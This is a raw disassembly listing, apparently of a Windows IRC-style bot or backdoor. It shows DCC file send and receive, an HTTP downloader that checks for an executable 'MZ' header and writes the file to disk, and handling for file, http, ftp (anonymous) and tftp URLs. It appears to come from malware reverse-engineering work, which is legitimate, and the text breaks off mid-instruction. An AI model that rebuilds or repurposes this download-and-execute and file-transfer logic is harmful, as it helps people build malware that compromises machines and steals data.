[ebp+arg_4] call sub_401D39 pop ecx test eax, eax jnz short locret_401E36 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_40D53F pop ecx pop ecx locret_401E36: ; CODE XREF: sub_401D6E+18j ; sub_401D6E+33j ... leave retn sub_401D6E endp ; --------------------------------------------------------------------------- loc_401E38: ; DATA XREF: sub_4024F3+10Bo push ebp mov ebp, esp sub esp, 604h push 3D6h push dword ptr [ebp+8] lea eax, [ebp-5E0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-5BBh] push eax call ds:dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp-5BBh] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp-5E4h], eax cmp dword ptr [ebp-5E4h], 0 jnz short loc_401EA3 push dword ptr [ebp-5E0h] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EA3: ; CODE XREF: .text:00401E8Ej push 2710h push 0 lea eax, [ebp-3B7h] push eax lea eax, [ebp-4B7h] push eax call sub_4050EA add esp, 10h mov [ebp-208h], eax cmp dword ptr [ebp-208h], 0 jnz short loc_401EEE push dword ptr [ebp-5E4h] call sub_416B82 ; fclose pop ecx push dword ptr [ebp-5E0h] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: .text:00401ECDj lea eax, [ebp-5DCh] push eax lea eax, [ebp-5BBh] push eax mov eax, [ebp-5E0h] push dword ptr [eax] push offset dword_418280 lea eax, [ebp-3ADh] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp-5E8h], eax and dword ptr [ebp-204h], 0 loc_401F2A: ; CODE XREF: .text:loc_401FD8j push 0 push 200h lea eax, [ebp-200h] push eax push dword ptr [ebp-208h] call ds:dword_417248 ; recv mov [ebp-5F0h], eax cmp dword ptr [ebp-5F0h], 0 jz short loc_401F5F cmp dword ptr [ebp-5F0h], 200h jbe short loc_401F61 loc_401F5F: ; CODE XREF: .text:00401F51j jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401F61: ; CODE XREF: .text:00401F5Dj mov eax, [ebp-204h] add eax, [ebp-5F0h] mov [ebp-204h], eax push dword ptr [ebp-204h] call ds:dword_41724C ; htonl mov [ebp-5F4h], eax push 4 lea eax, [ebp-5F4h] push eax push dword ptr [ebp-208h] call sub_4053BF add esp, 0Ch push dword ptr [ebp-5E4h] push dword ptr [ebp-5F0h] push 1 lea eax, [ebp-200h] push eax call sub_416B7C ; fwrite add esp, 10h cmp dword ptr [ebp-5F0h], 200h jnb short loc_401FC7 jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401FC7: ; CODE XREF: .text:00401FC3j mov eax, [ebp-5E0h] cmp dword ptr [eax+4], 0 jz short loc_401FD8 jmp loc_4020BC ; --------------------------------------------------------------------------- loc_401FD8: ; CODE XREF: .text:00401FD1j jmp loc_401F2A ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: .text:loc_401F5Fj ; .text:00401FC5j push dword ptr [ebp-5E4h] call sub_416B76 ; ftell pop ecx mov [ebp-5ECh], eax call sub_416B64 ; clock cmp [ebp-5E8h], eax jnz short loc_402008 call sub_416B64 ; clock dec eax mov [ebp-5E8h], eax loc_402008: ; CODE XREF: .text:00401FFAj mov eax, [ebp-5ECh] cdq mov ecx, 400h idiv ecx mov [ebp-5F8h], eax fild dword ptr [ebp-5F8h] fstp dword ptr [ebp-5FCh] call sub_416B64 ; clock sub eax, [ebp-5E8h] mov [ebp-600h], eax fild dword ptr [ebp-600h] fdiv ds:flt_417270 fdivr dword ptr [ebp-5FCh] push ecx push ecx fstp qword ptr [esp] call sub_416B64 ; clock sub eax, [ebp-5E8h] mov [ebp-604h], eax fild dword ptr [ebp-604h] fdiv ds:flt_417270 push ecx push ecx fstp qword ptr [esp] lea eax, [ebp-5DCh] push eax lea eax, [ebp-5BBh] push eax push offset dword_418234 lea eax, [ebp-3ADh] push eax call sub_40D53F add esp, 20h loc_402094: ; CODE XREF: .text:loc_4020BCj push dword ptr [ebp-5E4h] call sub_416B82 ; fclose pop ecx push dword ptr [ebp-208h] call sub_40538D pop ecx push dword ptr [ebp-5E0h] call sub_409763 pop ecx xor eax, eax jmp short locret_4020BE ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: .text:00401FD3j jmp short loc_402094 ; --------------------------------------------------------------------------- locret_4020BE: ; CODE XREF: .text:00401E9Ej ; .text:00401EE9j ... leave retn 4 ; --------------------------------------------------------------------------- loc_4020C2: ; DATA XREF: sub_40260D+7Co push ebp mov ebp, esp sub esp, 0A1Ch push 2CCh push dword ptr [ebp+8] lea eax, [ebp-8E4h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-8BFh] push eax call sub_416B40 ; strlen pop ecx mov [ebp-9F8h], eax jmp short loc_40210D ; --------------------------------------------------------------------------- loc_402100: ; CODE XREF: .text:loc_40215Ej mov eax, [ebp-9F8h] dec eax mov [ebp-9F8h], eax loc_40210D: ; CODE XREF: .text:004020FEj cmp dword ptr [ebp-9F8h], 0 jnz short loc_40212D lea eax, [ebp-8BFh] push eax lea eax, [ebp-9F0h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40212D: ; CODE XREF: .text:00402114j mov eax, [ebp-9F8h] movsx eax, byte ptr [ebp+eax-8BFh] cmp eax, 5Ch jnz short loc_40215E mov eax, [ebp-9F8h] lea eax, [ebp+eax-8BEh] push eax lea eax, [ebp-9F0h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40215E: ; CODE XREF: .text:0040213Ej jmp short loc_402100 ; --------------------------------------------------------------------------- loc_402160: ; CODE XREF: .text:0040212Bj ; .text:0040215Cj mov dword ptr [ebp-8E8h], 10h lea eax, [ebp-8E8h] push eax lea eax, [ebp-10h] push eax call sub_40CF25 push eax call ds:dword_417240 ; getsockname push 2 push 0 push 0 push 401h lea eax, [ebp-614h] push eax push dword ptr [ebp-8E8h] lea eax, [ebp-10h] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_4021BA push dword ptr [ebp-8E4h] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: .text:004021A5j push 0Ah lea eax, [ebp-0A04h] push eax push 1388h push 400h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 lea eax, [ebp-0A04h] push eax call sub_4046BC pop ecx pop ecx mov [ebp-9FCh], eax cmp dword ptr [ebp-9FCh], 0 jnz short loc_40220F push dword ptr [ebp-8E4h] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40220F: ; CODE XREF: .text:004021FAj push offset aRb ; "rb" lea eax, [ebp-8BFh] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp-8ECh], eax cmp dword ptr [ebp-8ECh], 0 jnz short loc_402250 push dword ptr [ebp-9FCh] call sub_404CBB pop ecx push dword ptr [ebp-8E4h] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_402250: ; CODE XREF: .text:0040222Fj push 2 push 0 push dword ptr [ebp-8ECh] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-8ECh] call sub_416B76 ; ftell pop ecx mov [ebp-0A08h], eax push 0 push 0 push dword ptr [ebp-8ECh] call sub_416B96 ; fseek add esp, 0Ch lea eax, [ebp-614h] push eax lea eax, [ebp-9F0h] push eax push offset aDccSendSS ; "DCC Send %s (%s)" lea eax, [ebp-8E0h] push eax call sub_40D420 add esp, 10h push dword ptr [ebp-0A08h] lea eax, [ebp-0A04h] push eax lea eax, [ebp-614h] push eax call ds:dword_417244 ; inet_addr push eax call ds:dword_41724C ; htonl push eax lea eax, [ebp-9F0h] push eax push offset dword_418348 lea eax, [ebp-8E0h] push eax call sub_40D4AB add esp, 18h push 0EA60h push dword ptr [ebp-9FCh] call sub_4048EF pop ecx pop ecx mov [ebp-618h], eax cmp dword ptr [ebp-618h], 0 jz short loc_40230F cmp dword ptr [ebp-618h], 0FFFFFFFFh jnz short loc_40233A loc_40230F: ; CODE XREF: .text:00402304j push dword ptr [ebp-8ECh] call sub_416B82 ; fclose pop ecx push dword ptr [ebp-9FCh] call sub_404CBB pop ecx push dword ptr [ebp-8E4h] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: .text:0040230Dj lea eax, [ebp-8E0h] push eax lea eax, [ebp-9F0h] push eax mov eax, [ebp-8E4h] push dword ptr [eax] push offset dword_418320 lea eax, [ebp-7BBh] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp-9F4h], eax loc_40236F: ; CODE XREF: .text:loc_40240Dj push dword ptr [ebp-8ECh] push 200h push 1 lea eax, [ebp-210h] push eax call sub_416B90 ; fread add esp, 10h mov [ebp-0A0Ch], eax cmp dword ptr [ebp-0A0Ch], 0 jz short loc_4023A6 cmp dword ptr [ebp-0A0Ch], 200h jbe short loc_4023A8 loc_4023A6: ; CODE XREF: .text:00402398j jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023A8: ; CODE XREF: .text:004023A4j push dword ptr [ebp-0A0Ch] lea eax, [ebp-210h] push eax push dword ptr [ebp-618h] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4023EE lea eax, [ebp-8E0h] push eax lea eax, [ebp-9F0h] push eax push offset dword_4182F4 lea eax, [ebp-7BBh] push eax call sub_40D53F add esp, 10h jmp loc_4024ED ; --------------------------------------------------------------------------- loc_4023EE: ; CODE XREF: .text:004023C5j cmp dword ptr [ebp-0A0Ch], 200h jnb short loc_4023FC jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023FC: ; CODE XREF: .text:004023F8j mov eax, [ebp-8E4h] cmp dword ptr [eax+4], 0 jz short loc_40240D jmp loc_4024EB ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: .text:00402406j jmp loc_40236F ; --------------------------------------------------------------------------- loc_402412: ; CODE XREF: .text:loc_4023A6j ; .text:004023FAj call sub_416B64 ; clock cmp [ebp-9F4h], eax jnz short loc_40242B call sub_416B64 ; clock dec eax mov [ebp-9F4h], eax loc_40242B: ; CODE XREF: .text:0040241Dj mov eax, [ebp-0A08h] cdq mov ecx, 400h idiv ecx mov [ebp-0A10h], eax fild dword ptr [ebp-0A10h] fstp dword ptr [ebp-0A14h] call sub_416B64 ; clock sub eax, [ebp-9F4h] mov [ebp-0A18h], eax fild dword ptr [ebp-0A18h] fdiv ds:flt_417270 fdivr dword ptr [ebp-0A14h] push ecx push ecx fstp qword ptr [esp] call sub_416B64 ; clock sub eax, [ebp-9F4h] mov [ebp-0A1Ch], eax fild dword ptr [ebp-0A1Ch] fdiv ds:flt_417270 push ecx push ecx fstp qword ptr [esp] lea eax, [ebp-8E0h] push eax lea eax, [ebp-9F0h] push eax push offset dword_4182B0 lea eax, [ebp-7BBh] push eax call sub_40D53F add esp, 20h loc_4024B7: ; CODE XREF: .text:loc_4024EBj ; .text:loc_4024EDj push dword ptr [ebp-618h] call sub_40538D pop ecx push dword ptr [ebp-8ECh] call sub_416B82 ; fclose pop ecx push dword ptr [ebp-9FCh] call sub_404CBB pop ecx push dword ptr [ebp-8E4h] call sub_409763 pop ecx xor eax, eax jmp short locret_4024EF ; --------------------------------------------------------------------------- loc_4024EB: ; CODE XREF: .text:00402408j jmp short loc_4024B7 ; --------------------------------------------------------------------------- loc_4024ED: ; CODE XREF: .text:004023E9j jmp short loc_4024B7 ; --------------------------------------------------------------------------- locret_4024EF: ; CODE XREF: .text:004021B5j ; .text:0040220Aj ... leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F3 proc near ; CODE XREF: sub_40D871+203p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_402511 cmp [ebp+arg_8], 0 jz short loc_402511 cmp [ebp+arg_C], 0 jz short loc_402511 cmp [ebp+arg_10], 0 jnz short loc_402516 loc_402511: ; CODE XREF: sub_4024F3+Aj ; sub_4024F3+10j ... jmp locret_40260B ; --------------------------------------------------------------------------- loc_402516: ; CODE XREF: sub_4024F3+1Cj push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_402531 cmp [ebp+var_8], 0FFFFh jbe short loc_402536 loc_402531: ; CODE XREF: sub_4024F3+33j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402536: ; CODE XREF: sub_4024F3+3Cj push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_402551 cmp [ebp+var_8], 40000000h jbe short loc_402556 loc_402551: ; CODE XREF: sub_4024F3+53j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4024F3+5Cj push 3D6h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40256F jmp locret_40260B ; --------------------------------------------------------------------------- loc_40256F: ; CODE XREF: sub_4024F3+75j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 100h push [ebp+arg_C] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B58 ; strncpy add esp, 0Ch push 6 push [ebp+arg_10] mov eax, [ebp+var_4] add eax, 229h push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+22Fh], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 233h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41837C push 0 push [ebp+var_4] push offset loc_401E38 call sub_4095A4 add esp, 18h locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j ; sub_4024F3:loc_402531j ... leave retn sub_4024F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jz short loc_40261D cmp [ebp+arg_8], 0 jnz short loc_40261F loc_40261D: ; CODE XREF: sub_40260D+8j jmp short locret_402696 ; --------------------------------------------------------------------------- loc_40261F: ; CODE XREF: sub_40260D+Ej push 2CCh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_402635 jmp short locret_402696 ; --------------------------------------------------------------------------- loc_402635: ; CODE XREF: sub_40260D+24j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4183A0 push 0 push [ebp+var_4] push offset loc_4020C2 call sub_4095A4 add esp, 18h locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj ; sub_40260D+26j leave retn sub_40260D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402698 proc near ; CODE XREF: .text:00402FFBp var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 420h push 2710h push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_4050EA add esp, 10h mov [ebp+var_414], eax cmp [ebp+var_414], 0 jnz short loc_4026CC xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4026CC: ; CODE XREF: sub_402698+2Bj push [ebp+arg_8] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 401h lea eax, [ebp+var_404] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_4053BF add esp, 0Ch push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402745 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_402758 loc_402745: ; CODE XREF: sub_402698+A2j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_402758: ; CODE XREF: sub_402698+ABj push offset asc_4183EC ; "\r\n\r\n" lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_40278D push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40278D: ; CODE XREF: sub_402698+E0j mov eax, [ebp+var_410] add eax, 4 mov [ebp+var_410], eax push offset aContentLength ; "Content-Length: " lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_40C], eax cmp [ebp+var_40C], 0 jz short loc_4027CC mov eax, [ebp+var_40C] cmp eax, [ebp+var_410] jbe short loc_4027DF loc_4027CC: ; CODE XREF: sub_402698+124j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4027DF: ; CODE XREF: sub_402698+132j and [ebp+var_41C], 0 lea eax, [ebp+var_41C] push eax push offset aContentLengthU ; "Content-Length: %u\r\n" push [ebp+var_40C] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_408], eax cmp [ebp+var_408], 1 jnz short loc_402818 cmp [ebp+var_41C], 0 jnz short loc_40282B loc_402818: ; CODE XREF: sub_402698+175j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40282B: ; CODE XREF: sub_402698+17Ej cmp [ebp+arg_1C], 0 jz short loc_40285D cmp [ebp+var_41C], 2 jb short loc_40284A mov eax, [ebp+var_410] movzx eax, word ptr [eax] cmp eax, 5A4Dh jz short loc_40285D loc_40284A: ; CODE XREF: sub_402698+1A0j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40285D: ; CODE XREF: sub_402698+197j ; sub_402698+1B0j cmp [ebp+arg_18], 0 jz short loc_40286E mov eax, [ebp+arg_18] mov ecx, [ebp+var_41C] mov [eax], ecx loc_40286E: ; CODE XREF: sub_402698+1C9j push [ebp+arg_14] call sub_4167B9 pop ecx test eax, eax jz short loc_40288E push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40288E: ; CODE XREF: sub_402698+1E1j push offset dword_4182AC push [ebp+arg_14] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 0 jnz short loc_4028BF push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4028BF: ; CODE XREF: sub_402698+212j push [ebp+var_418] mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax push ecx push 1 push [ebp+var_410] call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax mov eax, [ebp+var_41C] sub eax, ecx mov [ebp+var_41C], eax loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj cmp [ebp+arg_20], 0 jz short loc_40293F mov eax, [ebp+arg_20] cmp dword ptr [eax+4], 0 jz short loc_40293F push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40293F: ; CODE XREF: sub_402698+27Cj ; sub_402698+285j push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402976 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_40299E loc_402976: ; CODE XREF: sub_402698+2D3j push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push [ebp+arg_14] call ds:dword_4170AC ; DeleteFileA xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_402698+2DCj mov eax, [ebp+var_420] cmp eax, [ebp+var_41C] jbe short loc_4029C8 push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_4029C8: ; CODE XREF: sub_402698+312j push [ebp+var_418] push [ebp+var_420] push 1 lea eax, [ebp+var_404] push eax call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_41C] sub eax, [ebp+var_420] mov [ebp+var_41C], eax cmp [ebp+var_41C], 0 jnz short loc_402A1D push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_402A1D: ; CODE XREF: sub_402698+366j jmp loc_402910 ; --------------------------------------------------------------------------- locret_402A22: ; CODE XREF: sub_402698+2Fj ; sub_402698+BBj ... leave retn sub_402698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A24 proc near ; CODE XREF: .text:00403057p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2B proc near ; CODE XREF: .text:004030A5p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A2B endp ; --------------------------------------------------------------------------- loc_402A32: ; DATA XREF: sub_403260+BCo push ebp mov ebp, esp sub esp, 804h push edi push 3AFh push dword ptr [ebp+8] lea eax, [ebp-63Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-638h] push eax lea eax, [ebp-7DCh] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx and dword ptr [ebp-288h], 0 mov dword ptr [ebp-28Ch], 1 and dword ptr [ebp-6CCh], 0 mov al, byte_41DE30 mov [ebp-284h], al push 1Fh pop ecx xor eax, eax lea edi, [ebp-283h] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp-6BCh], al push 1Fh pop ecx xor eax, eax lea edi, [ebp-6BBh] rep stosd stosw stosb and dword ptr [ebp-6C8h], 0 lea eax, [ebp-534h] push eax lea eax, [ebp-7DCh] push eax mov eax, [ebp-63Ch] push dword ptr [eax] push offset dword_4185CC lea eax, [ebp-430h] push eax call sub_40D53F add esp, 14h push 7 push offset aFile ; "file://" lea eax, [ebp-638h] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_402B93 push 0 lea eax, [ebp-534h] push eax lea eax, [ebp-631h] push eax call ds:dword_417060 ; CopyFileA test eax, eax jnz short loc_402B8E call ds:dword_417064 ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_402B58 lea eax, [ebp-534h] push eax mov eax, [ebp-63Ch] push dword ptr [eax] push offset dword_41858C lea eax, [ebp-430h] push eax call sub_40D53F add esp, 10h jmp short loc_402B7B ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: .text:00402B31j lea eax, [ebp-631h] push eax mov eax, [ebp-63Ch] push dword ptr [eax] push offset dword_41855C lea eax, [ebp-430h] push eax call sub_40D53F add esp, 10h loc_402B7B: ; CODE XREF: .text:00402B56j push dword ptr [ebp-63Ch] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402B8E: ; CODE XREF: .text:00402B26j jmp loc_403256 ; --------------------------------------------------------------------------- loc_402B93: ; CODE XREF: .text:00402B08j lea eax, [ebp-638h] push eax call sub_416B40 ; strlen pop ecx mov [ebp-6C0h], eax jmp short loc_402BB5 ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: .text:loc_402CD8j mov eax, [ebp-6C0h] dec eax mov [ebp-6C0h], eax loc_402BB5: ; CODE XREF: .text:00402BA6j cmp dword ptr [ebp-6C0h], 0FFFFFFFFh jz loc_402CDD mov eax, [ebp-6C0h] movsx eax, byte ptr [ebp+eax-638h] cmp eax, 3Ah jnz loc_402CD8 mov dword ptr [ebp-7E0h], 1 jmp short loc_402BF2 ; --------------------------------------------------------------------------- loc_402BE5: ; CODE XREF: .text:loc_402CD3j mov eax, [ebp-7E0h] inc eax mov [ebp-7E0h], eax loc_402BF2: ; CODE XREF: .text:00402BE3j mov eax, [ebp-6C0h] add eax, [ebp-7E0h] movsx eax, byte ptr [ebp+eax-638h] test eax, eax jz short loc_402C23 mov eax, [ebp-6C0h] add eax, [ebp-7E0h] movsx eax, byte ptr [ebp+eax-638h] cmp eax, 2Fh jnz short loc_402C7A loc_402C23: ; CODE XREF: .text:00402C08j mov eax, [ebp-7E0h] and byte ptr [ebp+eax-6D5h], 0 lea eax, [ebp-6D4h] push eax call sub_40422A pop ecx test eax, eax jz short loc_402C75 mov eax, [ebp-6C0h] lea eax, [ebp+eax-638h] add eax, [ebp-7E0h] push eax mov eax, [ebp-6C0h] lea eax, [ebp+eax-638h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov dword ptr [ebp-6C8h], 1 loc_402C75: ; CODE XREF: .text:00402C40j jmp loc_403251 ; --------------------------------------------------------------------------- loc_402C7A: ; CODE XREF: .text:00402C21j mov eax, [ebp-6C0h] add eax, [ebp-7E0h] movsx eax, byte ptr [ebp+eax-638h] cmp eax, 30h jl short loc_402CCE mov eax, [ebp-6C0h] add eax, [ebp-7E0h] movsx eax, byte ptr [ebp+eax-638h] cmp eax, 39h jg short loc_402CCE mov eax, [ebp-6C0h] add eax, [ebp-7E0h] mov ecx, [ebp-7E0h] mov al, [ebp+eax-638h] mov [ebp+ecx-6D5h], al jmp short loc_402CD3 ; --------------------------------------------------------------------------- loc_402CCE: ; CODE XREF: .text:00402C91j ; .text:00402CAAj jmp loc_40324C ; --------------------------------------------------------------------------- loc_402CD3: ; CODE XREF: .text:00402CCCj jmp loc_402BE5 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: .text:00402BD3j jmp loc_402BA8 ; --------------------------------------------------------------------------- loc_402CDD: ; CODE XREF: .text:00402BBCj ; .text:loc_40324Cj ... push 7 push offset aHttp ; "http://" lea eax, [ebp-638h] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402D37 cmp dword ptr [ebp-6C8h], 0 jnz short loc_402D13 push offset a80 ; "80" lea eax, [ebp-6D4h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D13: ; CODE XREF: .text:00402CFEj lea eax, [ebp-631h] push eax lea eax, [ebp-638h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov dword ptr [ebp-6CCh], 1 jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402D37: ; CODE XREF: .text:00402CF5j push 6 push offset aFtp ; "ftp://" lea eax, [ebp-638h] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402DB7 cmp dword ptr [ebp-6C8h], 0 jnz short loc_402D6D push offset a21 ; "21" lea eax, [ebp-6D4h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D6D: ; CODE XREF: .text:00402D58j lea eax, [ebp-632h] push eax lea eax, [ebp-638h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov dword ptr [ebp-6CCh], 2 push offset aAnonymous ; "anonymous" lea eax, [ebp-284h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aAnonymous ; "anonymous" lea eax, [ebp-6BCh] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402DB7: ; CODE XREF: .text:00402D4Fj push 7 push offset aTftp ; "tftp://" lea eax, [ebp-638h] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402E0E cmp dword ptr [ebp-6C8h], 0 jnz short loc_402DED push offset a69 ; "69" lea eax, [ebp-6D4h] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402DED: ; CODE XREF: .text:00402DD8j lea eax, [ebp-631h] push eax lea eax, [ebp-638h] push eax call sub_416B3A ; _mbscpy pop ecx pop 